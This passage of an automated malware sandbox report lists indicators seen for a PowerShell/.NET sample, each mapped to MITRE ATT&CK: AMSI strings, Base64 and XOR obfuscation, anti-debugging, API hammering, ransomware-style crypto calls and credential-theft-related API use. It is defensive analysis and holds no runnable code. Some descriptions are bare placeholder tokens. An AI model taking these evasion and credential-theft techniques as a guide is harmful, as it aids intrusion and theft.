MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file contains function to dynamically call methods at runtime","description":"Observed namespace \"System\" and MemberReference \"GetMethod\" in \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":1,"id":"static-135","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin has big resource with name: \"Cache.Logger.settings.xml\" size: \"354658\" and abnormal entropy:\"6.001558383279128\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004796.00000001.235603.05850000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2e","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"PEB patch: NtQueryInformationProcess not resolved\" (Indicator: \"NtQueryInformationProcess\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")\n Found reference to API \"amsi.dllNtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decode string content at runtime (.NET)","description":"Observed function \"FromBase64String\" in \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00006372.00000000.234681.28580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.71782000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.71782000.00000004.mdmp\")\n Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00004796.00000001.235603.00972000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006372.00000000.234681.28580000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006372.00000001.234931.28600000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")\n Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004796.00000001.235603.1FF00000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.6FD09000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$30","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"Found XOR loop in file \"sample.bin\" at offset 386226; code bytes = 8030\n Found XOR loop in file \"sample.bin\" at offset 389065; code bytes = 8030","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006372-00000C2C-2638939826\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006372-00000C2C-2640032910\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"UserName\" (Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.1FDE1000.00000020.mdmp\")\n Found string \"etUserNameExW\" (Source: \"00000000-00006372.00000001.234931.716C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006372-00000C2C-2638939826\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006372-00000C2C-2640032910\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006372-00000C2C-2637902662\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006372-00000C2C-2637903149\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006372-00000C2C-2640422311\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006372-00000C2C-2640422339\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00006372.00000000.234681.A9072000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00006372-00000C2C-2639650348\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006372-00000C2C-2639650380\")\n Found reference to API \"\" (Indicator: \"postmessage\"; Source: \"00000000-00004796.00000001.235603.1FF00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006372)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6372\" - (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000a4010000e0039c55a401000020049c55a4010000050000051fc30000f0999955 (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006372)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")\n Found string \"System.Data.SqlClient\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006372)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"$foundAccess | Sort-Object\" (Indicator: \"Sort-Object\"; Source: \"00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004796.00000001.235603.00972000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddressOrd\" (Indicator: \"GetProcAddress\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")\n Found reference to API \"GetProcAddressOrd\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004796.00000001.235603.00972000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004796.00000001.235603.00972000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges","description":"System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at 24e34ef8244605897e4cb750030d1e89-600000a-UtilModuleProvider~RunCoreResolver","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-136","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")\n Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; Source: \"00000000-00004796.00000001.235603.00972000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$51","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: 